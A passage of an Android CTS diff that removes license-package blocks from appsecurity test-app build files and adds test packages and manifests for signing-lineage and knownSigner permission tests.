@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsWriteExternalStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
index 94742eb..65784ce 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsWriteExternalStorageApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
index d69562c..a7d7ee8 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningABadUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
index a0d46f3..9763629 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningANoDefUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
index 50192fb..f52826a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningCBadAUpgradeAB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
index 841bef2..8b29b2b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetPermDefSigningA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
index dbb58eb..3e17886 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetPermUseSigningA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
index 0788393..5a58116 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
index cabba2b..769ad16 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed by cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
index 8461773..1c82153 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeAAndB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
index f233cf5..ed35679 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeAOrB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
index a5d423c..a075bf7 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
index 1a9f810..786b47d 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSharedUserSigningAUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
index c91a30d..b2ea20e 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed by cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeEcA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
index 2c8c2f4..1919495 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeNone",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
index 79f9796..b35ffb5 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayPolicyAll",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
index 65b17d9..35d54ea 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayAndroid",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
index 515ee5b..01d4937 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
index dbc33d8..8674627 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayPolicyProduct",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
index 8db00a3..dbcb1fe 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySignatureDifferent/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayPolicySignatureDifferent",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
index 865bb71..28f6aae 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicySystem/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayPolicySystem",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
index 284b3c4..983821c 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyVendor/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayPolicyVendor",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
index fbc77e1..e02bcd3 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayTarget/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOverlayTarget",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 62be701..7dc9cca 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStubIme",
     defaults: ["cts_support_defaults"],
@@ -28,6 +24,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 400eeeb..e5dfaf4 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -122,7 +122,7 @@
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 # This is the first companion package signed using the V3 signature scheme
-# # with a rotated key and part of a sharedUid but without the signing lineage.
+# with a rotated key and part of a sharedUid but without the signing lineage.
 # This app is intended to test lineage scenarios where an app is only signed
 # with the latest key in the lineage.
 include $(LOCAL_PATH)/base.mk
@@ -139,5 +139,114 @@
 LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
+# This is a version of the test package that declares a signature permission.
+# The lineage used to sign this test package does not trust the first signing
+# key but grants default capabilities to the second signing key.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_3-1-no-caps-2-default-declperm
+LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_3-1-no-caps-2-default
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission.
+# The lineage used to sign this test package does not trust either of the signing
+# keys so an app with only common signers in the lineage should not be granted the
+# permission.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_3-no-caps-declperm
+LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_3-no-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that requests the signature permission
+# declared by the test package above. This package is signed with a signing key that
+# diverges from the package above and is intended to verify that a common signing
+# key in the lineage that is still granted the permission capability is sufficient
+# to be granted a signature permission.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_4-companion-usesperm
+LOCAL_MANIFEST_FILE := AndroidManifest-companion-usesperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_4
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_4-default-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# with the knownSigner protection flag. This app is signed with the rsa-2048
+# signing key with the trusted certificates being ec-p256 and ec-p256_3.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-ec-p256-1-3
+LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# without the knownSigner protection flag. This app is signed with the same
+# rsa-2048 signing key to allow updates from the package above. This app can
+# be used to verify behavior when an app initially uses the knownSigner flag
+# and subsequently removes the flag from the permission declaration.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-declperm
+LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# with the knownSigner protection flag using a string resource instead of a
+# string-array resource for the trusted certs.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1
+LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner-str-res.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# with the knownSigner protection flag using a string constant as the value
+# of the knownCerts attribute.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-str-const-ec-p256-1
+LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner-str-const.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that uses the permission
+# declared with the knownSigner flag. This app's current signer is in
+# the array of certificate digests as declared by the test package
+# above.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256_3-companion-uses-knownSigner
+LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that uses the permission
+# declared with the knownSigner flag. This app's current signer is not
+# in the array of certificate digests as declared by the test package
+# above.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256_2-companion-uses-knownSigner
+LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that uses the permission
+# declared with the knownSigner flag. This app is signed with a rotated
+# signing key with the current signer not in the array of certificate
+# digests as declared by the test package, but the previous signer in
+# the lineage is. This app can be used to verify that knownSigner
+# permissions are also granted if the app was previously signed with
+# one of the declared digests.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-companion-uses-knownSigner
+LOCAL_MANIFEST_FILE := AndroidManifest-uses-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-default-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
 cert_dir :=
 
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml
index 642653f..1cbca72 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-shareduid.xml
@@ -13,19 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp_companion"
-        android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp_companion"
+     android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-usesperm.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-usesperm.xml
new file mode 100644
index 0000000..05d7314
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion-usesperm.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp_companion"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.appsecurity.cts.tinyapp.perm" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml
index f7a639d..7377b00 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-companion2-shareduid.xml
@@ -13,19 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp_companion2"
-        android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp_companion2"
+     android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-const.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-const.xml
new file mode 100644
index 0000000..5a8c4be
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-const.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+        android:protectionLevel="signature|knownSigner"
+        android:knownCerts="6A8B96E278E58F62CFE3584022CEC1D0527FCB85A9E5D2E1694EB0405BE5B599" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-res.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-res.xml
new file mode 100644
index 0000000..515608b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner-str-res.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+        android:protectionLevel="signature|knownSigner"
+        android:knownCerts="@string/known_cert_ec-p256_1" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner.xml
new file mode 100644
index 0000000..d1af528
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-decl-knownSigner.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+        android:protectionLevel="signature|knownSigner"
+        android:knownCerts="@array/known_certs_ec-p256_1-3" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm.xml
new file mode 100644
index 0000000..8b93ea7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
